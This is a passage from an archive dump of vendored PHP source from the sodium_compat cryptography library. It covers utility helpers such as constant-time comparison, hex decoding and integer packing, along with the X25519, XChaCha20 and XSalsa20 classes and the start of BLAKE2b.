                    throw new TypeError('Argument ' .
$argumentIndex . ' must be an integer, ' . $realType . '
given.');
                }
                $mixedVar = (int) $mixedVar;
                break;
            case 'boolean':
            case 'bool':
                $allow = array('bool', 'boolean');
                if (!in_array($type, $allow)) {
                    throw new TypeError('Argument ' .
$argumentIndex . ' must be a boolean, ' . $realType . '
given.');
                }
                $mixedVar = (bool) $mixedVar;
                break;
            case 'string':
                if (!is_string($mixedVar)) {
                    throw new TypeError('Argument ' .
$argumentIndex . ' must be a string, ' . $realType . '
given.');
                }
                $mixedVar = (string) $mixedVar;
                break;
            case 'decimal':
            case 'double':
            case 'float':
                $allow = array('decimal', 'double',
'float');
                if (!in_array($type, $allow)) {
                    throw new TypeError('Argument ' .
$argumentIndex . ' must be a float, ' . $realType . '
given.');
                }
                $mixedVar = (float) $mixedVar;
                break;
            case 'object':
                if (!is_object($mixedVar)) {
                    throw new TypeError('Argument ' .
$argumentIndex . ' must be an object, ' . $realType . '
given.');
                }
                break;
            case 'array':
                if (!is_array($mixedVar)) {
                    if (is_object($mixedVar)) {
                        if ($mixedVar instanceof ArrayAccess) {
                            return;
                        }
                    }
                    throw new TypeError('Argument ' .
$argumentIndex . ' must be an array, ' . $realType . '
given.');
                }
                break;
            default:
                throw new SodiumException('Unknown type (' .
$realType .') does not match expect type (' . $type .
')');
        }
    }

    /**
     * Evaluate whether or not two strings are equal (in constant-time)
     *
     * @param string $left
     * @param string $right
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function hashEquals($left, $right)
    {
        /* Type checks: */
        if (!is_string($left)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($left) . ' given.');
        }
        if (!is_string($right)) {
            throw new TypeError('Argument 2 must be a string, ' .
gettype($right) . ' given.');
        }

        if (is_callable('hash_equals')) {
            return hash_equals($left, $right);
        }
        $d = 0;
        /** @var int $len */
        $len = self::strlen($left);
        if ($len !== self::strlen($right)) {
            return false;
        }
        for ($i = 0; $i < $len; ++$i) {
            $d |= self::chrToInt($left[$i]) ^ self::chrToInt($right[$i]);
        }

        if ($d !== 0) {
            return false;
        }
        return $left === $right;
    }

    /**
     * Convert a hexadecimal string into a binary string without
cache-timing
     * leaks
     *
     * @internal You should not use this directly from another application
     *
     * @param string $hexString
     * @param bool $strictPadding
     * @return string (raw binary)
     * @throws RangeException
     * @throws TypeError
     */
    public static function hex2bin($hexString, $strictPadding = false)
    {
        /* Type checks: */
        if (!is_string($hexString)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($hexString) . ' given.');
        }

        /** @var int $hex_pos */
        $hex_pos = 0;
        /** @var string $bin */
        $bin = '';
        /** @var int $c_acc */
        $c_acc = 0;
        /** @var int $hex_len */
        $hex_len = self::strlen($hexString);
        /** @var int $state */
        $state = 0;
        if (($hex_len & 1) !== 0) {
            if ($strictPadding) {
                throw new RangeException(
                    'Expected an even number of hexadecimal
characters'
                );
            } else {
                $hexString = '0' . $hexString;
                ++$hex_len;
            }
        }

        $chunk = unpack('C*', $hexString);
        while ($hex_pos < $hex_len) {
            ++$hex_pos;
            /** @var int $c */
            $c = $chunk[$hex_pos];
            /** @var int $c_num */
            $c_num = $c ^ 48;
            /** @var int $c_num0 */
            $c_num0 = ($c_num - 10) >> 8;
            /** @var int $c_alpha */
            $c_alpha = ($c & ~32) - 55;
            /** @var int $c_alpha0 */
            $c_alpha0 = (($c_alpha - 10) ^ ($c_alpha - 16)) >> 8;
            if (($c_num0 | $c_alpha0) === 0) {
                throw new RangeException(
                    'hex2bin() only expects hexadecimal
characters'
                );
            }
            /** @var int $c_val */
            $c_val = ($c_num0 & $c_num) | ($c_alpha & $c_alpha0);
            if ($state === 0) {
                $c_acc = $c_val * 16;
            } else {
                $bin .= pack('C', $c_acc | $c_val);
            }
            $state ^= 1;
        }
        return $bin;
    }

    /**
     * Turn an array of integers into a string
     *
     * @internal You should not use this directly from another application
     *
     * @param array<int, int> $ints
     * @return string
     */
    public static function intArrayToString(array $ints)
    {
        /** @var array<int, int> $args */
        $args = $ints;
        foreach ($args as $i => $v) {
            $args[$i] = (int) ($v & 0xff);
        }
        array_unshift($args, str_repeat('C', count($ints)));
        return (string) (call_user_func_array('pack', $args));
    }

    /**
     * Cache-timing-safe variant of ord()
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function intToChr($int)
    {
        return pack('C', $int);
    }

    /**
     * Load a 3 character substring into an integer
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return int
     * @throws RangeException
     * @throws TypeError
     */
    public static function load_3($string)
    {
        /* Type checks: */
        if (!is_string($string)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($string) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($string) < 3) {
            throw new RangeException(
                'String must be 3 bytes or more; ' .
self::strlen($string) . ' given.'
            );
        }
        /** @var array<int, int> $unpacked */
        $unpacked = unpack('V', $string . "\0");
        return (int) ($unpacked[1] & 0xffffff);
    }

    /**
     * Load a 4 character substring into an integer
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return int
     * @throws RangeException
     * @throws TypeError
     */
    public static function load_4($string)
    {
        /* Type checks: */
        if (!is_string($string)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($string) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($string) < 4) {
            throw new RangeException(
                'String must be 4 bytes or more; ' .
self::strlen($string) . ' given.'
            );
        }
        /** @var array<int, int> $unpacked */
        $unpacked = unpack('V', $string);
        return (int) ($unpacked[1] & 0xffffffff);
    }

    /**
     * Load a 8 character substring into an integer
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return int
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function load64_le($string)
    {
        /* Type checks: */
        if (!is_string($string)) {
            throw new TypeError('Argument 1 must be a string, ' .
gettype($string) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($string) < 4) {
            throw new RangeException(
                'String must be 4 bytes or more; ' .
self::strlen($string) . ' given.'
            );
        }
        if (PHP_VERSION_ID >= 50603 && PHP_INT_SIZE === 8) {
            /** @var array<int, int> $unpacked */
            $unpacked = unpack('P', $string);
            return (int) $unpacked[1];
        }

        /** @var int $result */
        $result  = (self::chrToInt($string[0]) & 0xff);
        $result |= (self::chrToInt($string[1]) & 0xff) <<  8;
        $result |= (self::chrToInt($string[2]) & 0xff) << 16;
        $result |= (self::chrToInt($string[3]) & 0xff) << 24;
        $result |= (self::chrToInt($string[4]) & 0xff) << 32;
        $result |= (self::chrToInt($string[5]) & 0xff) << 40;
        $result |= (self::chrToInt($string[6]) & 0xff) << 48;
        $result |= (self::chrToInt($string[7]) & 0xff) << 56;
        return (int) $result;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $left
     * @param string $right
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    public static function memcmp($left, $right)
    {
        if (self::hashEquals($left, $right)) {
            return 0;
        }
        return -1;
    }

    /**
     * Multiply two integers in constant-time
     *
     * Micro-architecture timing side-channels caused by how your CPU
     * implements multiplication are best prevented by never using the
     * multiplication operators and ensuring that our code always takes
     * the same number of operations to complete, regardless of the values
     * of $a and $b.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $a
     * @param int $b
     * @param int $size Limits the number of operations (useful for small,
     *                  constant operands)
     * @return int
     */
    public static function mul($a, $b, $size = 0)
    {
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return (int) ($a * $b);
        }

        static $defaultSize = null;
        /** @var int $defaultSize */
        if (!$defaultSize) {
            /** @var int $defaultSize */
            $defaultSize = (PHP_INT_SIZE << 3) - 1;
        }
        if ($size < 1) {
            /** @var int $size */
            $size = $defaultSize;
        }
        /** @var int $size */

        $c = 0;

        /**
         * Mask is either -1 or 0.
         *
         * -1 in binary looks like 0x1111 ... 1111
         *  0 in binary looks like 0x0000 ... 0000
         *
         * @var int
         */
        $mask = -(($b >> ((int) $defaultSize)) & 1);

        /**
         * Ensure $b is a positive integer, without creating
         * a branching side-channel
         *
         * @var int $b
         */
        $b = ($b & ~$mask) | ($mask & -$b);

        /**
         * Unless $size is provided:
         *
         * This loop always runs 32 times when PHP_INT_SIZE is 4.
         * This loop always runs 64 times when PHP_INT_SIZE is 8.
         */
        for ($i = $size; $i >= 0; --$i) {
            $c += (int) ($a & -($b & 1));
            $a <<= 1;
            $b >>= 1;
        }

        /**
         * If $b was negative, we then apply the same value to $c here.
         * It doesn't matter much if $a was negative; the $c += above
would
         * have produced a negative integer to begin with. But a negative
$b
         * makes $b >>= 1 never return 0, so we would end up with
incorrect
         * results.
         *
         * The end result is what we'd expect from integer
multiplication.
         */
        return (int) (($c & ~$mask) | ($mask & -$c));
    }

    /**
     * Convert any arbitrary numbers into two 32-bit integers that
represent
     * a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int|float $num
     * @return array<int, int>
     */
    public static function numericTo64BitInteger($num)
    {
        $high = 0;
        /** @var int $low */
        $low = $num & 0xffffffff;

        if ((+(abs($num))) >= 1) {
            if ($num > 0) {
                /** @var int $high */
                $high = min((+(floor($num/4294967296))), 4294967295);
            } else {
                /** @var int $high */
                $high = ~~((+(ceil(($num - (+((~~($num)))))/4294967296))));
            }
        }
        return array((int) $high, (int) $low);
    }

    /**
     * Store a 24-bit integer into a string, treating it as big-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store_3($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer,
' . gettype($int) . ' given.');
            }
        }
        /** @var string $packed */
        $packed = pack('N', $int);
        return self::substr($packed, 1, 3);
    }

    /**
     * Store a 32-bit integer into a string, treating it as little-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store32_le($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer,
' . gettype($int) . ' given.');
            }
        }

        /** @var string $packed */
        $packed = pack('V', $int);
        return $packed;
    }

    /**
     * Store a 32-bit integer into a string, treating it as big-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store_4($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer,
' . gettype($int) . ' given.');
            }
        }

        /** @var string $packed */
        $packed = pack('N', $int);
        return $packed;
    }

    /**
     * Stores a 64-bit integer as an string, treating it as little-endian.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $int
     * @return string
     * @throws TypeError
     */
    public static function store64_le($int)
    {
        /* Type checks: */
        if (!is_int($int)) {
            if (is_numeric($int)) {
                $int = (int) $int;
            } else {
                throw new TypeError('Argument 1 must be an integer,
' . gettype($int) . ' given.');
            }
        }

        if (PHP_INT_SIZE === 8) {
            if (PHP_VERSION_ID >= 50603) {
                /** @var string $packed */
                $packed = pack('P', $int);
                return $packed;
            }
            return self::intToChr($int & 0xff) .
                self::intToChr(($int >>  8) & 0xff) .
                self::intToChr(($int >> 16) & 0xff) .
                self::intToChr(($int >> 24) & 0xff) .
                self::intToChr(($int >> 32) & 0xff) .
                self::intToChr(($int >> 40) & 0xff) .
                self::intToChr(($int >> 48) & 0xff) .
                self::intToChr(($int >> 56) & 0xff);
        }
        if ($int > PHP_INT_MAX) {
            list($hiB, $int) = self::numericTo64BitInteger($int);
        } else {
            $hiB = 0;
        }
        return
            self::intToChr(($int      ) & 0xff) .
            self::intToChr(($int >>  8) & 0xff) .
            self::intToChr(($int >> 16) & 0xff) .
            self::intToChr(($int >> 24) & 0xff) .
            self::intToChr($hiB & 0xff) .
            self::intToChr(($hiB >>  8) & 0xff) .
            self::intToChr(($hiB >> 16) & 0xff) .
            self::intToChr(($hiB >> 24) & 0xff);
    }

    /**
     * Safe string length
     *
     * @internal You should not use this directly from another application
     *
     * @ref mbstring.func_overload
     *
     * @param string $str
     * @return int
     * @throws TypeError
     */
    public static function strlen($str)
    {
        /* Type checks: */
        if (!is_string($str)) {
            throw new TypeError('String expected');
        }

        return (int) (
        self::isMbStringOverride()
            ? mb_strlen($str, '8bit')
            : strlen($str)
        );
    }

    /**
     * Turn a string into an array of integers
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return array<int, int>
     * @throws TypeError
     */
    public static function stringToIntArray($string)
    {
        if (!is_string($string)) {
            throw new TypeError('String expected');
        }
        /**
         * @var array<int, int>
         */
        $values = array_values(
            unpack('C*', $string)
        );
        return $values;
    }

    /**
     * Safe substring
     *
     * @internal You should not use this directly from another application
     *
     * @ref mbstring.func_overload
     *
     * @param string $str
     * @param int $start
     * @param int $length
     * @return string
     * @throws TypeError
     */
    public static function substr($str, $start = 0, $length = null)
    {
        /* Type checks: */
        if (!is_string($str)) {
            throw new TypeError('String expected');
        }

        if ($length === 0) {
            return '';
        }

        if (self::isMbStringOverride()) {
            if (PHP_VERSION_ID < 50400 && $length === null) {
                $length = self::strlen($str);
            }
            $sub = (string) mb_substr($str, $start, $length,
'8bit');
        } elseif ($length === null) {
            $sub = (string) substr($str, $start);
        } else {
            $sub = (string) substr($str, $start, $length);
        }
        if ($sub !== '') {
            return $sub;
        }
        return '';
    }

    /**
     * Compare a 16-character byte string in constant time.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_16($a, $b)
    {
        /* Type checks: */
        if (!is_string($a)) {
            throw new TypeError('String expected');
        }
        if (!is_string($b)) {
            throw new TypeError('String expected');
        }
        return self::hashEquals(
            self::substr($a, 0, 16),
            self::substr($b, 0, 16)
        );
    }

    /**
     * Compare a 32-character byte string in constant time.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_32($a, $b)
    {
        /* Type checks: */
        if (!is_string($a)) {
            throw new TypeError('String expected');
        }
        if (!is_string($b)) {
            throw new TypeError('String expected');
        }
        return self::hashEquals(
            self::substr($a, 0, 32),
            self::substr($b, 0, 32)
        );
    }

    /**
     * Calculate $a ^ $b for two strings.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @return string
     * @throws TypeError
     */
    public static function xorStrings($a, $b)
    {
        /* Type checks: */
        if (!is_string($a)) {
            throw new TypeError('Argument 1 must be a string');
        }
        if (!is_string($b)) {
            throw new TypeError('Argument 2 must be a string');
        }

        return (string) ($a ^ $b);
    }

    /**
     * Returns whether or not mbstring.func_overload is in effect.
     *
     * @internal You should not use this directly from another application
     *
     * Note: MB_OVERLOAD_STRING === 2, but we don't reference the
constant
     * (for nuisance-free PHP 8 support)
     *
     * @return bool
     */
    protected static function isMbStringOverride()
    {
        static $mbstring = null;

        if ($mbstring === null) {
            $mbstring = extension_loaded('mbstring')
                && defined('MB_OVERLOAD_STRING')
                &&
            ((int) (ini_get('mbstring.func_overload')) & 2);
            // MB_OVERLOAD_STRING === 2
        }
        /** @var bool $mbstring */

        return $mbstring;
    }
}
PK	�[#AU�$�$Jchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/X25519.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_X25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_X25519
 */
abstract class ParagonIE_Sodium_Core_X25519 extends
ParagonIE_Sodium_Core_Curve25519
{
    /**
     * Alters the objects passed to this method in place.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @param int $b
     * @return void
     * @psalm-suppress MixedAssignment
     */
    public static function fe_cswap(
        ParagonIE_Sodium_Core_Curve25519_Fe $f,
        ParagonIE_Sodium_Core_Curve25519_Fe $g,
        $b = 0
    ) {
        $f0 = (int) $f[0];
        $f1 = (int) $f[1];
        $f2 = (int) $f[2];
        $f3 = (int) $f[3];
        $f4 = (int) $f[4];
        $f5 = (int) $f[5];
        $f6 = (int) $f[6];
        $f7 = (int) $f[7];
        $f8 = (int) $f[8];
        $f9 = (int) $f[9];
        $g0 = (int) $g[0];
        $g1 = (int) $g[1];
        $g2 = (int) $g[2];
        $g3 = (int) $g[3];
        $g4 = (int) $g[4];
        $g5 = (int) $g[5];
        $g6 = (int) $g[6];
        $g7 = (int) $g[7];
        $g8 = (int) $g[8];
        $g9 = (int) $g[9];
        $b = -$b;
        $x0 = ($f0 ^ $g0) & $b;
        $x1 = ($f1 ^ $g1) & $b;
        $x2 = ($f2 ^ $g2) & $b;
        $x3 = ($f3 ^ $g3) & $b;
        $x4 = ($f4 ^ $g4) & $b;
        $x5 = ($f5 ^ $g5) & $b;
        $x6 = ($f6 ^ $g6) & $b;
        $x7 = ($f7 ^ $g7) & $b;
        $x8 = ($f8 ^ $g8) & $b;
        $x9 = ($f9 ^ $g9) & $b;
        $f[0] = $f0 ^ $x0;
        $f[1] = $f1 ^ $x1;
        $f[2] = $f2 ^ $x2;
        $f[3] = $f3 ^ $x3;
        $f[4] = $f4 ^ $x4;
        $f[5] = $f5 ^ $x5;
        $f[6] = $f6 ^ $x6;
        $f[7] = $f7 ^ $x7;
        $f[8] = $f8 ^ $x8;
        $f[9] = $f9 ^ $x9;
        $g[0] = $g0 ^ $x0;
        $g[1] = $g1 ^ $x1;
        $g[2] = $g2 ^ $x2;
        $g[3] = $g3 ^ $x3;
        $g[4] = $g4 ^ $x4;
        $g[5] = $g5 ^ $x5;
        $g[6] = $g6 ^ $x6;
        $g[7] = $g7 ^ $x7;
        $g[8] = $g8 ^ $x8;
        $g[9] = $g9 ^ $x9;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_mul121666(ParagonIE_Sodium_Core_Curve25519_Fe
$f)
    {
        $h = array(
            self::mul((int) $f[0], 121666, 17),
            self::mul((int) $f[1], 121666, 17),
            self::mul((int) $f[2], 121666, 17),
            self::mul((int) $f[3], 121666, 17),
            self::mul((int) $f[4], 121666, 17),
            self::mul((int) $f[5], 121666, 17),
            self::mul((int) $f[6], 121666, 17),
            self::mul((int) $f[7], 121666, 17),
            self::mul((int) $f[8], 121666, 17),
            self::mul((int) $f[9], 121666, 17)
        );

        /** @var int $carry9 */
        $carry9 = ($h[9] + (1 << 24)) >> 25;
        $h[0] += self::mul($carry9, 19, 5);
        $h[9] -= $carry9 << 25;
        /** @var int $carry1 */
        $carry1 = ($h[1] + (1 << 24)) >> 25;
        $h[2] += $carry1;
        $h[1] -= $carry1 << 25;
        /** @var int $carry3 */
        $carry3 = ($h[3] + (1 << 24)) >> 25;
        $h[4] += $carry3;
        $h[3] -= $carry3 << 25;
        /** @var int $carry5 */
        $carry5 = ($h[5] + (1 << 24)) >> 25;
        $h[6] += $carry5;
        $h[5] -= $carry5 << 25;
        /** @var int $carry7 */
        $carry7 = ($h[7] + (1 << 24)) >> 25;
        $h[8] += $carry7;
        $h[7] -= $carry7 << 25;

        /** @var int $carry0 */
        $carry0 = ($h[0] + (1 << 25)) >> 26;
        $h[1] += $carry0;
        $h[0] -= $carry0 << 26;
        /** @var int $carry2 */
        $carry2 = ($h[2] + (1 << 25)) >> 26;
        $h[3] += $carry2;
        $h[2] -= $carry2 << 26;
        /** @var int $carry4 */
        $carry4 = ($h[4] + (1 << 25)) >> 26;
        $h[5] += $carry4;
        $h[4] -= $carry4 << 26;
        /** @var int $carry6 */
        $carry6 = ($h[6] + (1 << 25)) >> 26;
        $h[7] += $carry6;
        $h[6] -= $carry6 << 26;
        /** @var int $carry8 */
        $carry8 = ($h[8] + (1 << 25)) >> 26;
        $h[9] += $carry8;
        $h[8] -= $carry8 << 26;

        foreach ($h as $i => $value) {
            $h[$i] = (int) $value;
        }
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($h);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * Inline comments preceded by # are from libsodium's ref10 code.
     *
     * @param string $n
     * @param string $p
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_scalarmult_curve25519_ref10($n, $p)
    {
        # for (i = 0;i < 32;++i) e[i] = n[i];
        $e = '' . $n;
        # e[0] &= 248;
        $e[0] = self::intToChr(
            self::chrToInt($e[0]) & 248
        );
        # e[31] &= 127;
        # e[31] |= 64;
        $e[31] = self::intToChr(
            (self::chrToInt($e[31]) & 127) | 64
        );
        # fe_frombytes(x1,p);
        $x1 = self::fe_frombytes($p);
        # fe_1(x2);
        $x2 = self::fe_1();
        # fe_0(z2);
        $z2 = self::fe_0();
        # fe_copy(x3,x1);
        $x3 = self::fe_copy($x1);
        # fe_1(z3);
        $z3 = self::fe_1();

        # swap = 0;
        /** @var int $swap */
        $swap = 0;

        # for (pos = 254;pos >= 0;--pos) {
        for ($pos = 254; $pos >= 0; --$pos) {
            # b = e[pos / 8] >> (pos & 7);
            /** @var int $b */
            $b = self::chrToInt(
                    $e[(int) floor($pos / 8)]
                ) >> ($pos & 7);
            # b &= 1;
            $b &= 1;
            # swap ^= b;
            $swap ^= $b;
            # fe_cswap(x2,x3,swap);
            self::fe_cswap($x2, $x3, $swap);
            # fe_cswap(z2,z3,swap);
            self::fe_cswap($z2, $z3, $swap);
            # swap = b;
            $swap = $b;
            # fe_sub(tmp0,x3,z3);
            $tmp0 = self::fe_sub($x3, $z3);
            # fe_sub(tmp1,x2,z2);
            $tmp1 = self::fe_sub($x2, $z2);

            # fe_add(x2,x2,z2);
            $x2 = self::fe_add($x2, $z2);

            # fe_add(z2,x3,z3);
            $z2 = self::fe_add($x3, $z3);

            # fe_mul(z3,tmp0,x2);
            $z3 = self::fe_mul($tmp0, $x2);

            # fe_mul(z2,z2,tmp1);
            $z2 = self::fe_mul($z2, $tmp1);

            # fe_sq(tmp0,tmp1);
            $tmp0 = self::fe_sq($tmp1);

            # fe_sq(tmp1,x2);
            $tmp1 = self::fe_sq($x2);

            # fe_add(x3,z3,z2);
            $x3 = self::fe_add($z3, $z2);

            # fe_sub(z2,z3,z2);
            $z2 = self::fe_sub($z3, $z2);

            # fe_mul(x2,tmp1,tmp0);
            $x2 = self::fe_mul($tmp1, $tmp0);

            # fe_sub(tmp1,tmp1,tmp0);
            $tmp1 = self::fe_sub($tmp1, $tmp0);

            # fe_sq(z2,z2);
            $z2 = self::fe_sq($z2);

            # fe_mul121666(z3,tmp1);
            $z3 = self::fe_mul121666($tmp1);

            # fe_sq(x3,x3);
            $x3 = self::fe_sq($x3);

            # fe_add(tmp0,tmp0,z3);
            $tmp0 = self::fe_add($tmp0, $z3);

            # fe_mul(z3,x1,z2);
            $z3 = self::fe_mul($x1, $z2);

            # fe_mul(z2,tmp1,tmp0);
            $z2 = self::fe_mul($tmp1, $tmp0);
        }

        # fe_cswap(x2,x3,swap);
        self::fe_cswap($x2, $x3, $swap);

        # fe_cswap(z2,z3,swap);
        self::fe_cswap($z2, $z3, $swap);

        # fe_invert(z2,z2);
        $z2 = self::fe_invert($z2);

        # fe_mul(x2,x2,z2);
        $x2 = self::fe_mul($x2, $z2);
        # fe_tobytes(q,x2);
        return self::fe_tobytes($x2);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $edwardsY
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $edwardsZ
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function edwards_to_montgomery(
        ParagonIE_Sodium_Core_Curve25519_Fe $edwardsY,
        ParagonIE_Sodium_Core_Curve25519_Fe $edwardsZ
    ) {
        $tempX = self::fe_add($edwardsZ, $edwardsY);
        $tempZ = self::fe_sub($edwardsZ, $edwardsY);
        $tempZ = self::fe_invert($tempZ);
        return self::fe_mul($tempX, $tempZ);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $n
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_scalarmult_curve25519_ref10_base($n)
    {
        # for (i = 0;i < 32;++i) e[i] = n[i];
        $e = '' . $n;

        # e[0] &= 248;
        $e[0] = self::intToChr(
            self::chrToInt($e[0]) & 248
        );

        # e[31] &= 127;
        # e[31] |= 64;
        $e[31] = self::intToChr(
            (self::chrToInt($e[31]) & 127) | 64
        );

        $A = self::ge_scalarmult_base($e);
        if (
            !($A->Y instanceof ParagonIE_Sodium_Core_Curve25519_Fe)
                ||
            !($A->Z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)
        ) {
            throw new TypeError('Null points encountered');
        }
        $pk = self::edwards_to_montgomery($A->Y, $A->Z);
        return self::fe_tobytes($pk);
    }
}
PK	�[���*
*
Mchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/XChaCha20.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_XChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_XChaCha20
 */
class ParagonIE_Sodium_Core_XChaCha20 extends
ParagonIE_Sodium_Core_HChaCha20
{
    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len = 64, $nonce = '', $key =
'')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes
long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx(
                self::hChaCha20(
                    self::substr($nonce, 0, 16),
                    $key
                ),
                self::substr($nonce, 16, 8)
            ),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStream($len = 64, $nonce = '',
$key = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes
long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_IetfCtx(
                self::hChaCha20(
                    self::substr($nonce, 0, 16),
                    $key
                ),
                "\x00\x00\x00\x00" . self::substr($nonce, 16, 8)
            ),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce = '',
$key = '', $ic = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes
long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx(
                self::hChaCha20(self::substr($nonce, 0, 16), $key),
                self::substr($nonce, 16, 8),
                $ic
            ),
            $message
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStreamXorIc($message, $nonce = '',
$key = '', $ic = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes
long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_IetfCtx(
                self::hChaCha20(self::substr($nonce, 0, 16), $key),
                "\x00\x00\x00\x00" . self::substr($nonce, 16, 8),
                $ic
            ),
            $message
        );
    }
}
PK	�[�{�[[Lchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/XSalsa20.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_XSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_XSalsa20
 */
abstract class ParagonIE_Sodium_Core_XSalsa20 extends
ParagonIE_Sodium_Core_HSalsa20
{
    /**
     * Expand a key and nonce into an xsalsa20 keystream.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20($len, $nonce, $key)
    {
        $ret = self::salsa20(
            $len,
            self::substr($nonce, 16, 8),
            self::hsalsa20($nonce, $key)
        );
        return $ret;
    }

    /**
     * Encrypt a string with XSalsa20. Doesn't provide integrity.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::xsalsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }
}
PK	�[��_�WWMchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/BLAKE2b.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_BLAKE2b', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_BLAKE2b
 *
 * Based on the work of Devi Mandiri in devi/salt.
 */
abstract class ParagonIE_Sodium_Core32_BLAKE2b extends
ParagonIE_Sodium_Core_Util
{
    /**
     * @var SplFixedArray
     */
    public static $iv;

    /**
     * @var array<int, array<int, int>>
     */
    public static $sigma = array(
        array(  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
15),
        array( 14, 10,  4,  8,  9, 15, 13,  6,  1, 12,  0,  2, 11,  7,  5, 
3),
        array( 11,  8, 12,  0,  5,  2, 15, 13, 10, 14,  3,  6,  7,  1,  9, 
4),
